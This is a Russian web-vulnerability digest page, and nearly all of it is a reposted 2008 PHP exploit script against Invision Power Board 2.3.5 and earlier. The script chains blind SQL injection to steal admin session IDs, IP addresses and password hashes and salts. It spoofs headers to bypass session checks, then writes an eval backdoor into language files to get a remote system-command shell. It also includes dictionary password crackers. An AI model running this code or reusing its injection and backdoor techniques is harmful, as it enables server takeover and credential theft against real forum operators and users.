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  Ежедневная сводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

  XSS and Data Manipulation attacks found in CMS PHPCart.

  [Advisory]  Invision Power Board <= 2.3.5 Multiple Vulnerabilities and Security Bypass

  Vulnerabilities in FeedBurner FeedSmith for WordPress

  XSS and SQL Injection vulnerabilities in myPHPNuke

From:gmdarkfig_(at)_gmail.com <gmdarkfig_(at)_gmail.com>
Date:1 сентября 2008 г.
Subject:[Exploit] Invision Power Board <= 2.3.5 Multiple Vulnerabilities

#!/usr/bin/php -q
<?php
# This file requires the PhpSploit class.
# If you want to use this class, the latest
# version can be downloaded from acid-root.new.fr.
##################################################
error_reporting(E_ALL ^ E_NOTICE);
require('phpsploitclass.php');

# yeah ... it rox (:
class ipb_spl
{
       var $web;

       function main()
       {
               $this->mhead();
               
               # Gimme your args
               $this->p_attack = $this->get_p('attack', true);
               $this->p_prox   = $this->get_p('proxhost');
               $this->p_proxa  = $this->get_p('proxauth');
               
               $this->init_global();
               
               # Proxy params
               if( $this->p_prox )
               {
                       $this->web->proxy($this->p_prox);
                       
                       if( $this->p_proxa )
                       $this->web->proxyauth($this->p_proxa);
               }

               # Where do we go ?
               switch( $this->p_attack )
               {
                       case 1:  $this->code_exec();  break;
                       case 2;  $this->bf_sql_pwd(); break;
                       case 3:  $this->bf_usr_pwd(); break;
                       default: $this->usage();
               }

               return;
       }
       
       function code_exec($loop=1)
       {
               # First loop
               if( $loop == 1 )
               {
                       $this->set_sql_param();
                       $this->set_sql_focus();
               
                       $this->p_acp = $this->get_p('acp');
                               
                       # ACP path
                       if( !$this->p_acp )
                       {
                               # If the user changed the ACP directory, we can
                               # find it (if the "Remove ACP Link" option was not
                               # applied) by log in as an Admin, and then click
                               # on "Admin CP". This can be done with a user
                               # but I didn't implemented that ;)
                               $this->msg('Using default ACP path: admin', 1);
                               $this->p_acp = 'admin';
                       }
                       else
                       $this->msg('Using ACP path "'.$this->p_acp.'"', 1);
               
                       # Init client headers:
                       # Only if we have the same IP as the targeted user (not admin),
                       # it resets session datas, so we try to spoof our
                       # IP as a random one in order to keep user's session datas while
                       # we bruteforce SQL fields.
                       $this->bypass_matches();
               
                       # Remove expired sessions ( time() - 60*60*2  =  > 2 hours )
                       $this->web->get($this->p_url.$this->p_acp.
'/index.php?');
                       $this->msg('Removed all out of date admin sessions', 1);
               
                       # Cookie prefix
                       $this->get_cprefix();
               }
                               
               # Admin session ?
               $this->msg('Trying to find an admin session id', 0);
               
               # Got one :]
               if( $this->get_admin_sess() )
               {
                       $this->s_admin = true;
                       $this->s_sess  = $this->data['a_sess_id'];
                       $this->a_url   = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;
               }
               
               # Nothing special
               else
               {
                       $this->s_admin = false;
                       $this->msg('No admin session id found', -1);
               }
               
               # User session ?
               if( !$this->s_sess )
               {
                       $this->msg('Trying to find a user session id', 0);
                       
                       # Yep
                       if( $this->get_user_sess() )
                       $this->s_sess = $this->data['u_sess_id'];

                       # F0ck
                       else
                       {
                               $this->msg('No user session id found', -1);
                               $this->msg('Admin session > 2 hours or user logged out', 0);
                               $this->msg('Keeping trying until the user connects', 0);
                               $this->msg('Entering loop #'.$loop.' ...', 0);
                               $this->code_exec(++$loop);
                       }
               }
                       
               $this->msg('Getting security options', 0);
               
               # Security options
               $this->get_sec_options();
               
               # IP filter ?
               if( $this->conf['ip'] === '1' )
               {
                       $this->s_bypass = true;
                       
                       $this->msg('IP filter option is turned on', 0);
                       
                       # Spoofing protection ?
                       if( !$this->conf['xforward'] )
                       {
                               # Assuming our IP isn't the same etc..
                               $this->msg('Can\'t bypass the IP filter', -1);
                               exit(1);
                       }
                       
                       # X-Forwarded-For / Client-IP /
                       # Proxy-User / X-Cluster-Client-IP
                       else
                       {
                               $this->msg('Cool, we can spoof our IP (Client-IP)', 1);
                               
                               if( $this->s_admin )
                               {
                                       $this->msg('Trying to find admin\'s last IP', 0);
                                       
                                       # Admin IP found
                                       $this->get_admin_ip();
                                       $this->s_ip = $this->data['a_ip_addr'];
                               }
                               else
                               {
                                       $this->s_admin = false;
                                       $this->msg('Trying to find user\'s last used IP', 0);
                                       
                                       # User IP found
                                       $this->get_user_ip();
                                       $this->s_ip = $this->data['u_ip_addr'];
                               }
                               
                               # Nothing found
                               if( !$this->s_ip )
                               {
                                       # Ahah (:
                                       $this->msg('No IP found for this user', -1);
                                       $this->give_hope();
                               }
                               
                               # Got one !
                               else
                               $this->msg('Ok, using IP '.$this->s_ip, 1);
                       }
               }
               
               # User-Agent filter ?
               if( $this->conf['browser'] === '1' && !$this->s_admin )
               {
                       $this->s_bypass = true;
                       
                       $this->msg('Trying to find a valid user-agent', 0);
                       
                       # Good
                       if( $this->get_user_agent() )
                       {
                               $this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);
                               $this->s_agent = $this->data['u_agent'];
                       }
                       
                       # WTF :!
                       else
                       {
                               $this->msg('No user-agent found for this user', -1);
                               $this->msg('Maybe the browser didn\'t send this header', 0);
                               $this->s_agent = '';
                       }
                       
               }

               # Cool !?
               if( !$this->s_bypass )
               $this->msg('Cool, nothing to bypass', 1);
               
               $this->msg('Trying to log in', 0);
               
               # Owned =]
               if( $this->is_logged() )
               {
                       # PHP code
                       if( $this->s_admin )
                       {
                               $this->msg('Logged in with an admin session', 1);
                               $this->exec_code();
                       }
                       
                       # Normal user ?
                       else
                       {
                               $this->msg('Logged in with a user session', 1);
                               $this->msg('You can log in using the cookie session_id', 1);

                               if( $this->s_ip !== $this->def_ip )
                               $this->msg('Set the Client-IP header to: '.$this->s_ip, 1);
                               
                               if( $this->s_agent )
                               $this->msg('Set the User-Agent header to: '.$this->s_agent, 1);
                               
                               exit(0);
                       }
               }
               else
               {
                       # Even if the admin logged out .. the admin session
                       # is still valid ;)
                       $this->msg('Can\'t log in, the session has expired ?!', -1);
                       $this->give_hope();
               }
               
               return;
       }
       
       function bf_sql_pwd()
       {
               $this->p_ip    = $this->get_p('ip', true);
               $this->p_dict  = $this->get_p('dict', true);
               
               $this->p_sql_u = $this->get_p('sqlusr');
               
               $this->p_url   = $this->get_p('url');
               $this->p_uname = $this->get_p('uname');
               $this->p_pwd   = $this->get_p('pwd');
               // or
               $this->p_uid   = $this->get_p('uid');
               $this->p_hash  = $this->get_p('passhash');
               $this->p_shold = $this->get_p('stronghold');
               
               if( $this->p_uname && $this->p_pwd && $this->p_url )
               {
                       $this->get_cprefix();
                       
                       $this->msg('Trying to get some cookies', 0);
                       
                       $g_dat = 'index.php?act=Login&CODE=01&CookieDate=1';
                       $p_dat = 'UserName='.$this->p_uname.'&PassWord='.$this->p_pwd.
'&x=0&y=0';
               
                       $this->web->post($this->p_url.$g_dat, $p_dat);
               
                       $this->p_uid   = $this->web->cookie[$this->s_cprefix.'member_id'];
                       $this->p_hash  = $this->web->cookie[$this->s_cprefix.'pass_hash'];
                       $this->p_shold = $this->web->cookie[$this->s_cprefix.'ipb_stronghold'];
               }
               elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )
               $this->usage();
               
               if( !$this->p_uid || !$this->p_hash || !$this->p_shold )
               {
                       $this->msg('Can\'t get cookies', -1);
                       $this->msg('You should try with other parameters', -1);
                       exit(1);
               }
               
               $this->msg('Ok, using cookies:', 1);
               
               $this->msg('member_id='.$this->p_uid, 1);
               $this->msg('pass_hash='.$this->p_hash, 1);
               $this->msg('ipb_stronghold='.$this->p_shold, 1);
               
               if( !$this->p_sql_u )
               {
                       $this->set_sql_param();
                       
                       $this->msg('Trying to get the current sql user', 0);
                       
                       if( !$this->get_sql_user() )
                       {
                               $this->msg('Can\'t get the sql user', -1);
                               $this->msg('If you know the sql user, use -sqlusr', -1);
                               exit(1);
                       }
                       else
                       $this->p_sql_u = $this->data['sql_user'];
               }
               
               $this->msg('Ok, using sql user '.$this->p_sql_u, 1);
               
               $dico_c = file($this->p_dict);
               $ip_a   = explode('.', $this->p_ip);
               
               $this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
               $this->msg('You should take a drink ...', 0);
               
               foreach( $dico_c as $line )
               {
                       $md5 = md5(trim($line).$this->p_sql_u);
                       $md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.
$this->p_hash).$md5;
                       $md5 = md5($md5);

                       if( $this->p_shold === $md5 )
                       {
                               $this->msg('Found something cool =]', 1);
                               $this->msg('SQL password: '.$line, 1);
                               exit(1);
                       }

               }
               
               $this->msg('End of the wordlist, password not found', -1);
               
               return;
       }

       function bf_usr_pwd()
       {
               $this->p_dict  = $this->get_p('dict', true);

               $this->p_hash  = $this->get_p('passhash');
               $this->p_salt  = $this->get_p('salt');
               
               if( !$this->p_hash || !$this->p_salt )
               {
                       $this->set_sql_param();
                       $this->set_sql_focus();
               }
               
               if( !$this->p_hash )
               {
                       $this->msg('Trying to get the password hash', 0);
                       
                       if( !$this->get_pass_hash() )
                       {
                               $this->msg('Can\'t get the password hash', -1);
                               exit(1);
                       }
                       else
                       $this->p_hash = $this->data['pass_hash'];
               }
               
               $this->msg('Ok, using hash '.$this->p_hash, 1);
               
               if( !$this->p_salt )
               {
                       $this->msg('Trying to get the password salt', 0);
                       
                       if( !$this->get_pass_salt() )
                       {
                               $this->msg('Can\'t get the password salt', -1);
                               exit(1);
                       }
                       else
                       $this->p_salt = $this->data['pass_salt'];
               }
               
               $this->msg('Ok, using salt '.$this->p_salt, 1);
               
               $dico_c = file($this->p_dict);
               
               $this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
               $this->msg('You should take a drink ...', 0);
               
               foreach( $dico_c as $line )
               {
                       if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )
                       {
                               $this->msg('Found something cool =]', 1);
                               $this->msg('User password: '.$line, 1);
                               exit(1);
                       }
               }
               
               $this->msg('End of the wordlist, password not found', -1);
               
               return;
       }
       
       function set_sql_param()
       {
               $this->p_url   = $this->get_p('url', true);
               $this->p_pre   = $this->get_p('prefix');
               
               # Table prefix
               if( !$this->p_pre )
               {
                       # Default table prefix if not precised
                       $this->msg('Using default table prefix: ibf_', 1);
                       $this->p_pre = 'ibf_';
               }
               else
               $this->msg('Using table prefix '.$this->p_pre, 1);

       }
       
       function set_sql_focus()
       {
               $this->p_uname = $this->get_p('uname');
               $this->p_uid   = $this->get_p('uid');
               
               if( $this->p_uname )
               $this->msg('Using targeted username '.$this->p_uname, 1);
               
               elseif( $this->p_uid )
               $this->msg('Using targeted user id '.$this->p_uid, 1);
               
               # Target
               if( !($this->p_uname || $this->p_uid) )
               {
                       # Default uid if not precised
                       $this->msg('Using default user id: 1', 1);
                       $this->p_uid = 1;
               }

               # Focus on ?
               if( $this->p_uname )
               $this->t_on = 'members_l_username=\''.addslashes($this->p_uname).
'\'';
               
               else
               $this->t_on = 'id='.(int)$this->p_uid;
               
               return;
       }
       
       function exec_code()
       {
               $this->write_code();
               
               while( $this->cmd_prompt() )
               {
                       $this->web->addheader('My-Code', $this->cmd);
                       $this->web->get($this->p_url);

                       print "\n".$this->get_answer();
               }
               
               exit(0);
       }
       
       function get_answer()
       {
               $res_a = explode($this->res_sep, $this->web->getcontent());
               
               if( !$res_a[1] )
               return 'No result to retrieve';
               
               else
               return $res_a[1];
       }
       
       function cmd_prompt()
       {
               $this->cmd = $this->msg('root@ipb: ', 1, 1, 0, true);
               
               if( !ereg('^(quit|exit)$', $this->cmd) )
               {               
                       $this->cmd = base64_encode($this->cmd);
                       $this->cmd = str_replace('%CMD%', $this->cmd, $this->php_send);
                       
                       return TRUE;
               }

               else
                  return FALSE;
       }
       
       function write_code()
       {
               # Gimme the language ID
               $this->get_def_lang();
               
               # Current lang settings
               $p_dat =
               'code=edit2&act=lang&id='.$this->g_lid.
'&section'.
               '=lookandfeel&lang_file=lang_boards.php';
               
               $this->web->post($this->a_url, $p_dat);

               # We collect each variable name / value
               if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )
               {
                       # POST data
                       $p_dat =
                       'code=doedit&act=lang&id='.$this-
>g_lid.
                       '&lang_file=lang_boards.php&section=lo'.
                       'okandfeel&';

                       # &Name=Value
                       for( $i=0; $i<count($l_vars[0]); $i++ )
                       {
                               $p_dat .=
                               '&XX_'.$l_vars[1][$i].'='.
urlencode($l_vars[2][$i]);
                               
                               # We write our PHP code in the first variable
                               if( $i == 0 )
                               $p_dat .= $this->php_write;
                       }
                       
                       # Go on
                       $this->web->post($this->a_url, $p_dat);
                       
                       $this->msg('PHP code written', 1);
               }
               else
               {
                       # WTF :!
                       $this->msg('Can\'t find block variables', 0);
                       exit(1);
               }
               
               return;
       }
       
       function get_def_lang()
       {
               $this->msg('Trying to get the set language id', 0);
               
               $this->web->get($this->a_url.
'&section=lookandfeel&act=lang');
               
               if( preg_match($this->reg_lang, $this->web->getcontent(), $lids) )
               {
                       $this->g_lid = $lids[1];
                       $this->msg('Using language id '.$this->g_lid, 1);
               }
               else
               {
                       $this->msg('Can\'t get the default language id', -1);
                       exit(1);
               }
               
               return;
       }
       
       function is_logged()
       {
               $this->bypass_matches();

               # User session ok ?
               if( !$this->s_admin )
               {
                       $match = 'act=Login&amp;CODE=03';
                       $this->web->addcookie($this->s_cprefix.
'session_id', $this->s_sess);
                       $this->web->get($this->p_url);
               }
               
               # Admin session ok ?
               else
               {
                       $match = '&section=';
                       $this->web->get($this->a_url);
               }
               
               if( preg_match("/$match/i", $this->web->getcontent()) )
               return true;
               
               else
               return false;           
       }
       
       function bypass_matches()
       {
               # match_browser
               $this->web->agent($this->s_agent);
               
               # match_ipaddress
               $this->web->addheader('Client-IP', $this->s_ip);
               
               return;
       }
       
       function get_cprefix()
       {
               $this->msg('Trying to get the cookie prefix', 0);
                               
               # Set-Cookie: session_id=...; path=/
               $this->web->get($this->p_url);
               
               $this->s_cprefix = '';
               
               if( $this->web->cookie )
               {
                       foreach( $this->web->cookie as $name => $value)
                       {
                               if( preg_match($this->reg_cpre, $name, $cmatches) )
                               {
                                       $this->s_cprefix = $cmatches[1];
                                       break;
                               }
                       }
               }
               
               if( !$this->s_cprefix )
               $this->msg('No cookie prefix set', 1);
               
               else
               $this->msg('Using cookie prefix '.$this->s_cprefix, 1);
               
               return;
       }
       
       function get_sec_options()
       {
               # If no value, take the default one
               $this->get_conf('t.conf_value');
               $this->get_conf('t.conf_default');
               
               return;
       }
       
       function get_conf($field)
       {
               $this->init_sql();
               
               $this->t_table = 'conf_settings';       
               $this->t_field = $field;
               $this->t_char  = $this->chr_num;
               
               $this->t_add_0 = "AND t.conf_key='match_browser'";

               if( $this->conf['browser'] === '' )
               $this->conf['browser'] = $this->bf_inj();

               $this->t_add_0 = "AND t.conf_key='match_ipaddress'";
               
               if( $this->conf['ip'] === '' )
               $this->conf['ip'] = $this->bf_inj();
               
               $this->t_add_0 = "AND t.conf_key='xforward_matching'";
               
               if( $this->conf['xforward'] === '' )
               $this->conf['xforward'] = $this->bf_inj();

               return;
       }
       
       function get_login_key()
       {
               $this->init_sql();
               
               $this->t_key             = 'login_key';
               $this->t_table           = 'members';
               $this->t_field           = 't.member_login_key';
               $this->t_join            = 't.id=m.id';
               $this->t_char            = $this->chr_md5;
               $this->data['login_key'] = $this->bf_inj();
               
               return $this->key_val;
       }
       
       function get_sql_user()
       {
               $this->init_sql();
               
               $this->t_key             = 'user()';
               $this->t_table           = 'members';
               $this->t_field           = 'user()';
               $this->t_char            = $this->chr_all;
               $this->t_end             = '@';
               $this->data['sql_user']  = $this->bf_inj();
               
               return $this->key_val;
       }
       
       function get_pass_hash()
       {
               $this->init_sql();
               
               $this->t_key             = 'pass_hash';
               $this->t_table           = 'members_converge';
               $this->t_field           = 't.converge_pass_hash';
               $this->t_join            = 't.converge_email=m.email';
               $this->t_char            = $this->chr_md5;
               $this->data['pass_hash'] = $this->bf_inj();
               
               return $this->key_val;
       }
       
       function get_pass_salt()
       {       
               $this->init_sql();
               
               $this->t_key             = 'pass_salt';
               $this->t_table           = 'members_converge';
               $this->t_field           = 't.converge_pass_salt';
               $this->t_join            = 't.converge_email=m.email';
               $this->t_char            = $this->chr_all;
               $this->data['pass_salt'] = $this->bf_inj();
               
               return $this->key_val;
       }
       
       function get_admin_sess()
       {
               $this->init_sql();
               
               $this->t_key             = 'admin_sid';
               $this->t_table           = 'admin_sessions';
               $this->t_field           = 't.session_id';
               $this->t_join            = 't.session_member_id=m.id';
               $this->t_sel             = 't.session_log_in_time';
               $this->t_char            = $this->chr_md5;
               $this->data['a_sess_id'] = $this->bf_inj();
               
               return $this->key_val;
       }
       
       function get_admin_ip()
       {
               $this->init_sql();
               
               $this->t_key             = 'admin_ip';
               $this->t_table           = 'admin_sessions';
               $this->t_field           = 't.session_ip_address';
               $this->t_join            = 't.session_member_id=m.id';
               $this->t_sel             = 't.session_log_in_time';
               $this->t_char            = $this->chr_ip;
               $this->data['a_ip_addr'] = $this->bf_inj();
               
               return $this->key_val;
       }
       
       function get_admin_pwd()
       {
               $this->init_sql();
               
               $this->t_key             = 'admin_pwd';
               $this->t_table           = 'admin_login_logs';
               $this->t_field           = 't.admin_post_details';
               $this->t_join            = 't.admin_username=m.members_l_username';
               $this->t_sel             = 't.admin_id';
               $this->t_end             = '"';
               $this->t_bchar           = -4; # ";}}
               $this->t_char            = $this->chr_all;
               $this->data['a_pwd_like']= $this->bf_inj();
               
               return $this->key_val;
       }
       
       function get_user_sess()
       {
               $this->init_sql();
               
               $this->t_key             = 'user_sid';
               $this->t_table           = 'sessions';
               $this->t_field           = 't.id';
               $this->t_join            = 't.member_id=m.id';
               $this->t_sel             = 't.running_time';
               $this->t_char            = $this->chr_md5;
               $this->data['u_sess_id'] = $this->bf_inj();
               
               return $this->key_val;
       }
       
       function get_user_ip()
       {
               $this->init_sql();
               
               $this->t_key             = 'user_ip';
               $this->t_table           = 'sessions';
               $this->t_field           = 't.ip_address';
               $this->t_join            = 't.member_id=m.id';
               $this->t_sel             = 't.running_time';
               $this->t_char            = $this->chr_ip;
               $this->data['u_ip_addr'] = $this->bf_inj();
               
               return $this->key_val;
       }
       
       function get_user_agent()
       {
               $this->init_sql();
               
               $this->t_key             = 'user_agent';
               $this->t_table           = 'sessions';
               $this->t_field           = 't.browser';
               $this->t_join            = 't.member_id=m.id';
               $this->t_sel             = 't.running_time';
               $this->t_char            = $this->chr_all;
               $this->data['u_agent']   = $this->bf_inj();
               
               return $this->key_val;
       }
       
       function init_sql()
       {
               # SQL Injection params
               $this->t_end   = null;
               $this->t_add_0 = '';
               $this->t_add_1 = '';
               $this->t_sel   = '1';
               $this->t_bchar = 0;
               $this->t_join  = '';
               $this->t_key   = '';
               $this->t_add_1 = 'ORDER BY id DESC LIMIT 1';
               
               return;
       }
       
       function init_global()
       {
               # Charsets
               $this->chr_spe = str_split(' :/;*(-.!,
?§*µщ%$Ј^Ё=+})°]аз^_\\`и|[\'{#й~&І"@')
;
               $this->chr_num = range(0, 9);
               $this->chr_md5 = array_merge( $this->chr_num, range('a', 'f') );
               $this->chr_ip  = array_merge( $this->chr_num, array('.') );
               $this->chr_all = array_merge( $this->chr_num, range('a', 'z') );
               $this->chr_all = array_merge( range('A', 'Z'), $this->chr_all, $this->chr_spe );

               # SQL Injection
               $this->def_param = 'index.php?s=&act=xmlout&do=check-display-
name&name=%rep_inj%';
               $this->def_inj   = "' OR 1=\"'\" UNION %rep_req% OR 1=\"'\" %rep_add% #";
               
               # Results
               $this->data = array();
               $this->conf = array('ip' => '', 'browser' => '', 'xforward' => '');
               
               # Misc
               $this->stat     = array(-1 => '-', 0 => '/', 1 => '+');
               $this->s_bypass = false;
               $this->res_sep  = md5(rand());
               $this->def_ip   = rand(0,255).'.'.rand(0,255).'.'.rand(0,
255).'.'.rand(0,255);
               
               # PHP Code
               $this->php_write = '${${@eval($_SERVER[HTTP_MY_CODE])}}';
               $this->php_send  = "print('$this-
>res_sep');@system(base64_decode('%CMD%'))
;";
               $this->php_send .= "print('$this->res_sep');exit(0);";
               
               # Regex
               $this->reg_lang = '#</span></td>[\r\n]*.*[\r\n]*.
*code=export&id=([0-9]+)#i';
               $this->reg_lvar = "#id='XX_([\w]+)'[\x20]+class='multitext'>
(.*)</textarea></td>#i";
               $this->reg_cpre = '#^(.*)session_id$#';
               # $this->reg_acp  = '#<a href="(.*)"[\x20]+target="_blank"#i';
               
               # Default client headers
               $this->s_agent = 'Mozilla Firefox';
               $this->s_ip    = $this->def_ip;
               
               return;
       }
       
       function bf_inj()
       {
               $this->sub_chr = $this->t_bchar;
               $this->key_val = '';
                       
               if( !empty($this->t_key) )
               $this->msg('', 0);
               
               while( true )
               {
                       if( $this->t_bchar < 0 )
                       $this->sub_chr--;
                       
                       else
                       $this->sub_chr++;
       
                       # 0-9a-f
                       for( $j=0;$j<=count($this->t_char);$j++ )
                       {
                               # That one ?
                               $chr = $this->t_char[$j];
                               
                               # Latest char ?
                               if( $j === count($this->t_char) )
                               $chr = $this->t_end;
                               
                               # Ascii num
                               $asc = ord($chr);
                               
                               # Screen bug
                               if( !empty($this->t_key) )
                               {
                                       $msg  = $this->t_key.'='.$this->key_val;
                                       $msg .= ($chr === $this->t_end ? "\x20" : $chr);
                                       
                                       $this->msg($msg, 0, 1, 1);
                               }
                               
                               # Focus on the target ?
                               if( !empty($this->t_join) )
                               {
                                       $inj =
                                       'SELECT 1,'.$this->t_sel.' FROM '.$this->p_pre.$this->t_table.
                                       ' t, '.$this->p_pre.'members m WHERE '.$this->t_join.
                                       ' AND m.'.$this->t_on.' AND ASCII(SUBSTR('.$this->t_field.
                                       ','.$this->sub_chr.',
1))='.$asc.' '.$this->t_add_0;
                               }
                               else
                               {
                                       $inj =
                                       'SELECT 1,'.$this->t_sel.' FROM '.$this->p_pre.$this->t_table.
                                       ' t WHERE ASCII(SUBSTR('.$this->t_field.','.$this->sub_chr.
                                       ',1))='.$asc.' '.$this->t_add_0;
                               }

                               # SQL Injection via rawurldecode()
                               $inj = str_replace('%rep_req%', $inj, $this->def_inj);
                               $inj = str_replace('%rep_add%', $this->t_add_1, $inj);
                               $inj = str_replace(array('"', "'"), array('%2522', '%2527'), $inj);
                               
                               # Params
                               $inj = str_replace('%rep_inj%', $inj, $this->def_param);
                               $inj = str_replace(array(' ', '#'), array('%20', '%23'), $inj);
                               
                               $this->web->get($this->p_url.
$inj);

                               # Ok !?
                               if( !strstr($this->web->getcontent(), 'notfound') )
                               {
                                       if( $chr !== $this->t_end )
                                       {       
                                               $this->key_val .= $chr;
                                               break;
                                       }
                               }
                               
                               # End
                               if( $chr === $this->t_end )
                               {
                                       # Reverse
                                       if( $this->t_bchar < 0 )
                                       $this->key_val = strrev($this->key_val);
                                       
                                       if( !empty($this->t_key) )
                                       $this->msg($this->t_key.
'='.$this->key_val, 1, 1, 1);

                                       return $this->key_val;
                               }
                       }
               }
               
       }
               
       function get_p($p, $exit=false)
       {
               global $argv;
               
               foreach( $argv as $key => $value )
               {
                       if( $value === '-'.$p )
                       {
                               if( isset($argv[$key+1]) && !empty($argv[$key+1]) )
                               {                                       
                                       return $argv[$key+1];
                               }
                               else
                               {
                                       if( $exit )
                                       $this->usage();
                                       
                                       return true;
                               }
                       }
               }
               
               if( $exit )
               $this->usage();
               
               return false;
       }
       
       function msg($msg, $nstatus, $nspace=1, $ndel=0, $ask=false)
       {
               if( $ndel ) $type = "\r";
               else        $type = "\n";
               
               # wtf (:
               print
               (
                       $type.str_repeat("\x20", $nspace).
                       $this->stat[$nstatus]."\x20".$msg
               );
               
               if( $ask )
               return trim(fgets(STDIN));
       }
       
       function give_hope()
       {                               
               $this->msg('You should try with another user or try another time', -1);
                       
               exit(1);
       }
       
       function mhead()
       {
               # Advisory: http://acid-root.new.fr/?0:18
               
               print "\n Invision Power Board <= 2.3.5 Multiple Vulnerabilities";
               print "\n ------------------------------------------------------";
               print "\n\n About:";
               print "\n\n by DarkFig < gmdarkfig (at) gmail (dot) com >";
               print "\n http://acid-root.new.fr/";
               print "\n #acidroot@irc.worldnet.net";
               print "\n\n\n Attack(s):\n";
               
               return;
       }
       
       function usage()
       {

               print "\n -attack <int_choice> <params> [options]\n\n";
               print "  1 - PHP code execution\n\n";
               print "    -url        IPB url with ending slash\n\n";
               print "    -uname      targeted username\n";
               print "    -uid        OR the targeted user id (def: 1)\n\n";
               print "    -prefix     sql table prefix (def: ibf_)\n";
               print "    -acp        admin control panel path (def: admin)\n\n\n";
               print "  2 - Insecure SQL password usage\n\n";
               print "    -ip         your current IP\n";
               print "    -dict       a wordlist file\n\n";
               print "    -url        IPB url with ending slash\n";
               print "    -uname      a valid member username\n";
               print "    -pwd        the associated password\n\n";
               print "    -uid        OR  the targeted member id\n";
               print "    -passhash   the passhash cookie value\n";
               print "    -stronghold the stronghold cookie value\n\n";
               print "    -sqlusr     you can precise the sql user\n";
               print "    -prefix     sql table prefix (def: ibf_)\n\n\n";
               print "  3 - Password bruteforcer\n\n";
               print "    -dict       a wordlist file\n\n";
               print "    -url        IPB url with ending slash\n";
               print "    -uname      targeted username\n";
               print "    -uid        OR  the targeted user id (def: 1)\n";
               print "    -prefix     sql table prefix (def: ibf_)\n\n";
               print "    -passhash   OR the passhash value\n";
               print "    -salt       the salt value\n\n\n";
               print "  Optional: \n\n";
               print "    -proxhost <ip>       if you wanna use a proxy\n";
               print "    -proxauth <usr:pwd>  proxy with authentication\n";
               
               exit(1);
       }
       
}

$web = new phpsploit;
$web->cookiejar(1);
$web->agent('Mozilla Firefox');

$ipb = new ipb_spl;
$ipb->web =& $web;
$ipb->main();

?>

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Нижний Новгород

 
 



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